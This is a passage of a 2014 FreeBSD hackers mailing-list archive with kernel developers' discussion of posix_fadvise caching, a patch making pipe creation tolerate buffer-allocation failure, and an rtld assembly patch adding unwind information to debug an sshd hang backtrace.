dyn_soname=0x80582a93c, dyn_runpath=0x7fffffffba30) at /usr/src/libexec/rtld-elf/rtld.c:1103 #4 0x00000008006498c9 in objlist_call_init (list=, lockstate=0x0) at /usr/src/libexec/rtld-elf/rtld.c:287 #5 0x00000008006470cd in _rtld_bind_start () at /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 #6 0x000000000041072c in grace_alarm_handler (sig=-17504) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 #7 #8 0x00000008038ea89c in __error () from /lib/libthr.so.3 #9 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #10 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at atomic.h:143 #11 0x000000080064f9a2 in digest_dynamic1 (obj=0x80085fe00, early=32767, dyn_rpath=0x8038d8e30, dyn_soname=0x100000001, dyn_runpath=0x7fffffffc040) at /usr/src/libexec/rtld-elf/rtld.c:1103 #12 0x00000008006498c9 in objlist_call_init (list=, lockstate=0xffff00001f80) at /usr/src/libexec/rtld-elf/rtld.c:287 #13 0x00000008006470cd in _rtld_bind_start () at /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 #15 #16 0x0000000800653aea in lmc_parse () at /usr/src/libexec/rtld-elf/libmap.c:306 #17 0x000000080064a835 in objlist_call_fini () at /usr/src/libexec/rtld-elf/rtld.c:2267 #18 0x000000080064a1eb in symlook_default (req=0x7fffffffd050, refobj=) at /usr/src/libexec/rtld-elf/rtld.c:3620 #19 0x0000000800edd121 in openpam_clear_chains () from /usr/lib/libpam.so.5 #20 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so.5 #21 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so.5 #22 0x0000000800edd061 in openpam_clear_chains () from /usr/lib/libpam.so.5 #23 0x0000000800ed99e7 in pam_end () from /usr/lib/libpam.so.5 #24 0x000000000042e15d in sshpam_cleanup () at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 #25 0x000000000041d58f in do_cleanup (authctxt=0x80401a600) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 #26 0x000000000041064f in ssh_cleanup_exit (i=255) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 #27 0x0000000000428f83 in mm_request_receive (sock=, m=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 #28 0x0000000000427e26 in monitor_read (pmonitor=0x804022220, ent=0x6465a0, pent=0x7fffffffd0c0) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 #29 0x0000000000427b49 in monitor_child_preauth (_authctxt=, pmonitor=0x804022220) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 #30 0x000000000040fd15 in main (ac=, av=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 " From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 11:04:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8939CF98; Wed, 9 Apr 2014 11:04:28 +0000 (UTC) Received: from mail-lb0-x230.google.com (mail-lb0-x230.google.com [IPv6:2a00:1450:4010:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id AB4351631; Wed, 9 Apr 2014 11:04:27 +0000 (UTC) Received: by mail-lb0-f176.google.com with SMTP id 10so985851lbg.21 for ; Wed, 09 Apr 2014 04:04:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=L3VhQ8HFX1DpZBQYeqxwgqQmu4qpd483wNus0fawOzo=; b=uVrogvsqcpF0l/SUobdfePsZiqgeDduzc4mVihK+Th69jNbWzS5eIIPOjDPhNrD+8u J2abE3I1o52/P/XGmcpug4um/aUSVZ1PMsdp2dEjjJmI6fCO3lFu+8E5aZ2Ghz7HwvHN PQksDIy/4YMRRZUxCYcl1+FZ/ou0E0Ua6LpvRnu/0TwIM2VWAn2+QD0Sef2tJkmbm4n4 8sMenXjx9aK72titvwB8X9rb4ZzZUVpnnr9aeOK9rqOihHJ7R3COPVvj+PkNTD7OI2T1 5NtGzcE6ac6Lj65tEdzCp8urY5qzcVgz/wVvbRg/RPQXvccjMB4UBUSUecXL5U0Gqqry MDgA== X-Received: by 10.152.116.99 with SMTP id jv3mr7080354lab.19.1397041465576; Wed, 09 Apr 2014 04:04:25 -0700 (PDT) Received: from ?IPv6:2a02:6b8::408:fcad:ae61:5dc6:65cb? ([2a02:6b8:0:408:fcad:ae61:5dc6:65cb]) by mx.google.com with ESMTPSA id fa8sm564818lbc.18.2014.04.09.04.04.24 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 09 Apr 2014 04:04:24 -0700 (PDT) Content-Type: text/plain; charset=koi8-r Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: <201404031527.59901.jhb@freebsd.org> Date: Wed, 9 Apr 2014 15:04:22 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: <4E4C7AC3-A802-4DFF-8F30-8985CBE2E3D1@gmail.com> References: <201404031230.40380.jhb@freebsd.org> <2CB392D0-5198-41EB-8191-8B02FE432334@gmail.com> <201404031527.59901.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 11:04:28 -0000 On 03 =C1=D0=D2. 2014 =C7., at 23:27, John Baldwin = wrote: > On Thursday, April 03, 2014 3:10:49 pm Dmitry Sivachenko wrote: >>=20 >> On 03 =C1=D0=D2. 2014 =C7., at 20:30, John Baldwin = wrote: >>=20 >>>=20 >>> The latter. It's sort of like a lazy O_DIRECT. Each time you call = write(2), >>> it tries to move any clean pages from your current sequentially = written >>> stream from inactive to cache, so the pages won't move until a = subsequent >>> write(2) after bufdaemon or the syncer actually forces them to be = written. >>> Unfortunately, it is currently implemented by doing an internal >>> FADV_DONTNEED after each read() or write(). It would be better if = it was >>> implemented as a callback when buffers are completed. >>=20 >>=20 >>=20 >> Sounds like FADV_NOREUSE should be befeficial for any log-writing = program? >> (syslogd, apache, nginx, .....) >=20 > Well, it depends. If you plan on reading the log files, then using = NOREUSE > can potentially make that more expensive as the logs are more likely = to be > out of RAM when you go to read them (even if you have free memory, = mostly > because "cache" isn't perfect, at least in my experience). OTOH, = pagedaemon > (a part of the VM system) should generally pick the log pages to evict = when > needed (and I believe it might do a better job of that in 10 than it = did > previously). I think if you know that the log files are kicking more = useful > things out of RAM and you don't generally plan on reading them (note = that > things like compressing them with gzip counts as reading), then = FADV_NOREUSE > can work fine. Well, just for reference: I do posix_fadvise(fd, 0, 0, POSIX_FADV_NOREUSE) after every log open() = and I see no difference: the only disk load during the day is log file writing and I see Inactive = memory increase steadily all day long. This process of converting Free into Inactive converges when there are = no Free left and the only way to free it is either remove old log files = from disk or do msync(MS_INVALIDATE) on these files. Some of rarely used mmaped data is pushed out of RAM so referencing this = data results in long-running disk reads. [should be rather expected actually, since rev.254304 was done for = EMS/Isilon storage division: now FreeBSD acts like perfect file caching = server :) ]= From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 11:17:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E725548D for ; Wed, 9 Apr 2014 11:17:00 +0000 (UTC) Received: from mail-we0-x22e.google.com (mail-we0-x22e.google.com [IPv6:2a00:1450:400c:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 76001174A for ; Wed, 9 Apr 2014 11:17:00 +0000 (UTC) Received: by mail-we0-f174.google.com with SMTP id t60so2330422wes.33 for ; Wed, 09 Apr 2014 04:16:58 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=dhgaB9apCVGViUAIWorvbBxAQ5pHOgpVZTF+1mATTwo=; b=Aezza8pXaHGSuLAFWAGqAw/saIEhyZqh9denl+Vp4vXGhKhK/y5Aqu6BVgbR1fB0rL eZQtlkf9yFRBY0NNmFNVeGWrFJ5G8NsYl4kTPF7ZhhMjnjAD8056HLzSxt3tVp7Uk+oJ nsn+Z0kA7rsp8EUDC4jRtNEfmvmrxonm+6JC+zWS0XPfXhMPeZkFTmV6f0f0x6t9l/Lf 5+IyztCiQT6sqU1CrJ0P0cos7KECcXfcnYGjBe8JnlQLJFe9diwGrW2k8bQ1AP7eJJCU 0McI8LbFC7XU5nbRpCwxBo4swincWMVLKa605s8jTXjU/NUN2EH26QcqCeQJTVEM4Je2 PLLQ== X-Received: by 10.180.76.142 with SMTP id k14mr9389952wiw.21.1397042218574; Wed, 09 Apr 2014 04:16:58 -0700 (PDT) Received: from dft-labs.eu (n1x0n-1-pt.tunnel.tserv5.lon1.ipv6.he.net. [2001:470:1f08:1f7::2]) by mx.google.com with ESMTPSA id g13sm1190609wjn.15.2014.04.09.04.16.56 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Wed, 09 Apr 2014 04:16:57 -0700 (PDT) Date: Wed, 9 Apr 2014 13:16:54 +0200 From: Mateusz Guzik To: Konstantin Belousov Subject: Re: pipe() resource exhaustion Message-ID: <20140409111654.GA17650@dft-labs.eu> Mail-Followup-To: Mateusz Guzik , Konstantin Belousov , Eduardo Morras , freebsd-hackers@freebsd.org References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> <20140408121222.GB30326@dft-labs.eu> <20140408123827.GW21331@kib.kiev.ua> <20140408130727.GA11363@dft-labs.eu> <20140408132442.GZ21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20140408132442.GZ21331@kib.kiev.ua> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 11:17:01 -0000 On Tue, Apr 08, 2014 at 04:24:42PM +0300, Konstantin Belousov wrote: > On Tue, Apr 08, 2014 at 03:07:27PM +0200, Mateusz Guzik wrote: > > On Tue, Apr 08, 2014 at 03:38:27PM +0300, Konstantin Belousov wrote: > > > On Tue, Apr 08, 2014 at 02:12:22PM +0200, Mateusz Guzik wrote: > > > > That said, supporting a reserve for this one sounds like a good idea and > > > > not that hard to implement - one can either play with atomics and double > > > > check or just place a mutex-protected check in pipespace_new (before > > > > vm_map_find). > > > > > > > ... > > > > > > I think more reasonable behaviour there is to just fall back to the > > > buffered pipe if the direct buffer allocation fails. Look at the > > > pipespace_new() calls in the pipe_create(); probably ignoring the error > > > would do the trick. > > > > Yeah, should have checked the caller. > > > > Interesting though how the error was made fatal in thiscase. > > > > Anyhow, the following hack following your suggestion indeed makes the > > issue go away for me: > > > > diff --git a/sys/kern/sys_pipe.c b/sys/kern/sys_pipe.c > > index 6ba52e3..5930cf2 100644 > > --- a/sys/kern/sys_pipe.c > > +++ b/sys/kern/sys_pipe.c > > @@ -647,19 +647,21 @@ pipe_create(pipe, backing) > > struct pipe *pipe; > > int backing; > > { > > - int error; > > > > if (backing) { > > + /* > > + * Note that these functions can fail, but we ignore > > + * the error as it is not fatal and could be provoked > > + * by users. > > + */ > > if (amountpipekva > maxpipekva / 2) > > - error = pipespace_new(pipe, SMALL_PIPE_SIZE); > > + (void)pipespace_new(pipe, SMALL_PIPE_SIZE); > > else > > - error = pipespace_new(pipe, PIPE_SIZE); > > - } else { > > - /* If we're not backing this pipe, no need to do anything. */ > > - error = 0; > > + (void)pipespace_new(pipe, PIPE_SIZE); > > } > > + > > pipe->pipe_ino = -1; > > - return (error); > > + return (0); > > } > > > > Yes, this looks right. I think it does not make sense to continue > returning an error from the pipe_create() after the patch. The change > would become bigger, but the code for pipe_create() and pipe_paircreate > collapse. It seems that pipe_paircreate() can be changed to return void > as well, but the benefits would be smaller. I figured keeping pipe_create is beneficial in case one wants to play with backing and does no harm. That said how about the following: diff --git a/sys/fs/fifofs/fifo_vnops.c b/sys/fs/fifofs/fifo_vnops.c index d3eb281..a3e8179 100644 --- a/sys/fs/fifofs/fifo_vnops.c +++ b/sys/fs/fifofs/fifo_vnops.c @@ -146,9 +146,7 @@ fifo_open(ap) if (fp == NULL || (ap->a_mode & FEXEC) != 0) return (EINVAL); if ((fip = vp->v_fifoinfo) == NULL) { - error = pipe_named_ctor(&fpipe, td); - if (error != 0) - return (error); + pipe_named_ctor(&fpipe, td); fip = malloc(sizeof(*fip), M_VNODE, M_WAITOK); fip->fi_pipe = fpipe; fpipe->pipe_wgen = fip->fi_readers = fip->fi_writers = 0; diff --git a/sys/kern/sys_pipe.c b/sys/kern/sys_pipe.c index 6ba52e3..b0a1f0d 100644 --- a/sys/kern/sys_pipe.c +++ b/sys/kern/sys_pipe.c @@ -221,8 +221,8 @@ SYSCTL_INT(_kern_ipc, OID_AUTO, piperesizeallowed, CTLFLAG_RW, static void pipeinit(void *dummy __unused); static void pipeclose(struct pipe *cpipe); static void pipe_free_kmem(struct pipe *cpipe); -static int pipe_create(struct pipe *pipe, int backing); -static int pipe_paircreate(struct thread *td, struct pipepair **p_pp); +static void pipe_create(struct pipe *pipe, int backing); +static void pipe_paircreate(struct thread *td, struct pipepair **p_pp); static __inline int pipelock(struct pipe *cpipe, int catch); static __inline void pipeunlock(struct pipe *cpipe); #ifndef PIPE_NODIRECT @@ -331,12 +331,11 @@ pipe_zone_fini(void *mem, int size) mtx_destroy(&pp->pp_mtx); } -static int +static void pipe_paircreate(struct thread *td, struct pipepair **p_pp) { struct pipepair *pp; struct pipe *rpipe, *wpipe; - int error; *p_pp = pp = uma_zalloc(pipe_zone, M_WAITOK); #ifdef MAC @@ -355,30 +354,21 @@ pipe_paircreate(struct thread *td, struct pipepair **p_pp) knlist_init_mtx(&wpipe->pipe_sel.si_note, PIPE_MTX(wpipe)); /* Only the forward direction pipe is backed by default */ - if ((error = pipe_create(rpipe, 1)) != 0 || - (error = pipe_create(wpipe, 0)) != 0) { - pipeclose(rpipe); - pipeclose(wpipe); - return (error); - } + pipe_create(rpipe, 1); + pipe_create(wpipe, 0); rpipe->pipe_state |= PIPE_DIRECTOK; wpipe->pipe_state |= PIPE_DIRECTOK; - return (0); } -int +void pipe_named_ctor(struct pipe **ppipe, struct thread *td) { struct pipepair *pp; - int error; - error = pipe_paircreate(td, &pp); - if (error != 0) - return (error); + pipe_paircreate(td, &pp); pp->pp_rpipe.pipe_state |= PIPE_NAMED; *ppipe = &pp->pp_rpipe; - return (0); } void @@ -419,9 +409,7 @@ kern_pipe2(struct thread *td, int fildes[2], int flags) int fd, fflags, error; fdp = td->td_proc->p_fd; - error = pipe_paircreate(td, &pp); - if (error != 0) - return (error); + pipe_paircreate(td, &pp); rpipe = &pp->pp_rpipe; wpipe = &pp->pp_wpipe; error = falloc(td, &rf, &fd, flags); @@ -642,24 +630,25 @@ pipeselwakeup(cpipe) * Initialize and allocate VM and memory for pipe. The structure * will start out zero'd from the ctor, so we just manage the kmem. */ -static int +static void pipe_create(pipe, backing) struct pipe *pipe; int backing; { - int error; if (backing) { + /* + * Note that these functions can fail, but we ignore + * the error as it is not fatal and could be provoked + * by users. + */ if (amountpipekva > maxpipekva / 2) - error = pipespace_new(pipe, SMALL_PIPE_SIZE); + (void)pipespace_new(pipe, SMALL_PIPE_SIZE); else - error = pipespace_new(pipe, PIPE_SIZE); - } else { - /* If we're not backing this pipe, no need to do anything. */ - error = 0; + (void)pipespace_new(pipe, PIPE_SIZE); } + pipe->pipe_ino = -1; - return (error); } /* ARGSUSED */ diff --git a/sys/sys/pipe.h b/sys/sys/pipe.h index dfe7f2f..ee7c128 100644 --- a/sys/sys/pipe.h +++ b/sys/sys/pipe.h @@ -142,6 +142,6 @@ struct pipepair { #define PIPE_LOCK_ASSERT(pipe, type) mtx_assert(PIPE_MTX(pipe), (type)) void pipe_dtor(struct pipe *dpipe); -int pipe_named_ctor(struct pipe **ppipe, struct thread *td); +void pipe_named_ctor(struct pipe **ppipe, struct thread *td); void pipeselwakeup(struct pipe *cpipe); #endif /* !_SYS_PIPE_H_ */ From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 11:19:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 323685CF; Wed, 9 Apr 2014 11:19:25 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id ADAAE1782; Wed, 9 Apr 2014 11:19:24 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s39BJHbU058673; Wed, 9 Apr 2014 14:19:17 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s39BJHbU058673 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s39BJHW3058672; Wed, 9 Apr 2014 14:19:17 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 9 Apr 2014 14:19:17 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140409111917.GH21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Fv4aQf9orjE3TOVF" Content-Disposition: inline In-Reply-To: <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 11:19:25 -0000 --Fv4aQf9orjE3TOVF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 09, 2014 at 11:15:20AM +0100, Karl Pielorz wrote: >=20 >=20 > --On 09 April 2014 11:49 +0300 Konstantin Belousov = =20 > wrote: >=20 > > Hm, I think my instructions were flawed, you have to install with > > DEBUG_FLAGS as well: > > make install DEBUG_FLAGS=3D-g > > > > You do not need to re-run the tests if rtld did not changed after > > the installation. Reinstall and get the backtrace again, please. >=20 > Ok, did that - output below, >=20 > -Karl >=20 > --- >=20 > " > [Switching to LWP 100218] > 0x00000008038ea89c in __error () from /lib/libthr.so.3 > (gdb) bt > #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=3D0x803af9480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=3D0x803af9480) at= =20 > atomic.h:143 > #3 0x000000080064f9a2 in digest_dynamic1 (obj=3D0x80085fe00, early=3D327= 67,=20 > dyn_rpath=3D0x80582a93c, dyn_soname=3D0x80582a93c, dyn_runpath=3D0x7fffff= ffba30) > at /usr/src/libexec/rtld-elf/rtld.c:1103 > #4 0x00000008006498c9 in objlist_call_init (list=3D= ,=20 > lockstate=3D0x0) at /usr/src/libexec/rtld-elf/rtld.c:287 > #5 0x00000008006470cd in _rtld_bind_start () at=20 > /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 > #6 0x000000000041072c in grace_alarm_handler (sig=3D-17504) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 > #7 > #8 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #9 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=3D0x803af9480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #10 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=3D0x803af9480) at= =20 > atomic.h:143 > #11 0x000000080064f9a2 in digest_dynamic1 (obj=3D0x80085fe00, early=3D327= 67,=20 > dyn_rpath=3D0x8038d8e30, dyn_soname=3D0x100000001, dyn_runpath=3D0x7fffff= ffc040) > at /usr/src/libexec/rtld-elf/rtld.c:1103 > #12 0x00000008006498c9 in objlist_call_init (list=3D= ,=20 > lockstate=3D0xffff00001f80) at /usr/src/libexec/rtld-elf/rtld.c:287 > #13 0x00000008006470cd in _rtld_bind_start () at=20 > /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 > #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=3D out>) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 > #15 > #16 0x0000000800653aea in lmc_parse () at=20 > /usr/src/libexec/rtld-elf/libmap.c:306 > #17 0x000000080064a835 in objlist_call_fini () at=20 > /usr/src/libexec/rtld-elf/rtld.c:2267 > #18 0x000000080064a1eb in symlook_default (req=3D0x7fffffffd050,=20 > refobj=3D) at /usr/src/libexec/rtld-elf/rtld.c:3620 > #19 0x0000000800edd121 in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #20 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #21 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #22 0x0000000800edd061 in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #23 0x0000000800ed99e7 in pam_end () from /usr/lib/libpam.so.5 > #24 0x000000000042e15d in sshpam_cleanup () at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 > #25 0x000000000041d58f in do_cleanup (authctxt=3D0x80401a600) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 > #26 0x000000000041064f in ssh_cleanup_exit (i=3D255) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 > #27 0x0000000000428f83 in mm_request_receive (sock=3D,=20 > m=3D) > at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 > #28 0x0000000000427e26 in monitor_read (pmonitor=3D0x804022220, ent=3D0x6= 465a0,=20 > pent=3D0x7fffffffd0c0) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 > #29 0x0000000000427b49 in monitor_child_preauth (_authctxt=3D out>, pmonitor=3D0x804022220) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 > #30 0x000000000040fd15 in main (ac=3D, av=3D optimized out>) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 > " It is still mostly nonsensical, due to bad and missing debugging informatio= n. First, my patch seems to be buggy, I miscalculated the offsets of the saved registers. Hopefully, improved version is at the end of the message. Also, I suspect that there is a mismatch between installed and built rtld. Please do the clean build with DEBUG_FLAGS=3D-g and patch applied and install (again with DEBUG_FLAGS=3D-g). Second, the debugging information in your libthr.so.3 is partial. Could you, please rebuild it and install with DEBUG_FLAGS=3D-g from the clean state ? Also, please rebuild you pam installation with '-g'. After this is done, reproduce the issue and take the backtrace once more. Sorry, but the current backtrace is not useful. diff --git a/libexec/rtld-elf/amd64/rtld_start.S b/libexec/rtld-elf/amd64/r= tld_start.S index da3d156..2481f09 100644 --- a/libexec/rtld-elf/amd64/rtld_start.S +++ b/libexec/rtld-elf/amd64/rtld_start.S @@ -79,17 +79,39 @@ .globl _rtld_bind_start .type _rtld_bind_start,@function _rtld_bind_start: + .cfi_startproc + .cfi_adjust_cfa_offset 16 subq $8,%rsp + .cfi_adjust_cfa_offset 8 pushfq # Save rflags + .cfi_adjust_cfa_offset 8 pushq %rax # Save %rax + .cfi_adjust_cfa_offset 8 + .cfi_offset %rax,-32 pushq %rdx # Save %rdx + .cfi_adjust_cfa_offset 8 + .cfi_offset %rdx,-40 pushq %rcx # Save %rcx + .cfi_adjust_cfa_offset 8 + .cfi_offset %rcx,-48 pushq %rsi # Save %rsi + .cfi_adjust_cfa_offset 8 + .cfi_offset %rsi,-56 pushq %rdi # Save %rdi + .cfi_adjust_cfa_offset 8 + .cfi_offset %rdi,-64 pushq %r8 # Save %r8 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r8,-72 pushq %r9 # Save %r9 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r9,-80 pushq %r10 # Save %r10 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r10,-88 pushq %r11 # Save %r11 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r11,-96 =20 movq 0x58(%rsp),%rdi # Fetch obj argument movq 0x60(%rsp),%rsi # Fetch reloff argument @@ -101,16 +123,37 @@ _rtld_bind_start: =20 movq %rax,0x60(%rsp) # Store target over reloff argument popq %r11 # Restore %r11 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r11 popq %r10 # Restore %r10 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r10 popq %r9 # Restore %r9 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r9 popq %r8 # Restore %r8 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r8 popq %rdi # Restore %rdi + .cfi_adjust_cfa_offset -8 + .cfi_restore %rdi popq %rsi # Restore %rsi + .cfi_adjust_cfa_offset -8 + .cfi_restore %rsi popq %rcx # Restore %rcx + .cfi_adjust_cfa_offset -8 + .cfi_restore %rcx popq %rdx # Restore %rdx + .cfi_adjust_cfa_offset -8 + .cfi_restore %rdx popq %rax # Restore %rax + .cfi_adjust_cfa_offset -8 + .cfi_restore %rax popfq # Restore rflags + .cfi_adjust_cfa_offset -8 leaq 16(%rsp),%rsp # Discard spare, obj, do not change rflags ret # "Return" to target address + .cfi_endproc + .size _rtld_bind_start, . - _rtld_bind_start =20 .section .note.GNU-stack,"",%progbits --Fv4aQf9orjE3TOVF Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRSy1AAoJEJDCuSvBvK1BTwsQAJKgoOb0UHnHcDFbqRHYMpep B9x8gSO8olF3vmwRTG/XqEWA6GOvMoEjC4rsJ/hlWpz9RVhoiiY7g0VZuYzpUifx p2d+Swc5JbsiKBDnvfx5uYgAGKVVPbvvE81Pmf4wFLBVN4CXSFFPd978zdJwwh59 UEB5gLuqj2nd17EoWdS93QqiIoVvmAs2NtWKxzXCR/GYhUrADLAGf+uNXnaOG7SJ O45yS4EJJkP+oxzgozGP+3lzRWr40VH+nkCrE2ZBcwyPZrHtHbAqD5ekI/0hd5Gq DbnCShnorl1N0vkY/ACR/4BmNfClN3WJRDD6ZsauaFHNTo8IoRjEUasOoZ7eGccE KWlrT8nFoiUbAXzOEmqyF0Cag9CHo+VhO+I4OJ+rWa6FKYybDNuCi/9LvKgpRnVH OpVEonbCTer4iMJ8LfTc2jgrZJywefkgVd1Ig5QiPXrRxhPQqxQ6GmTKIeMOu1i6 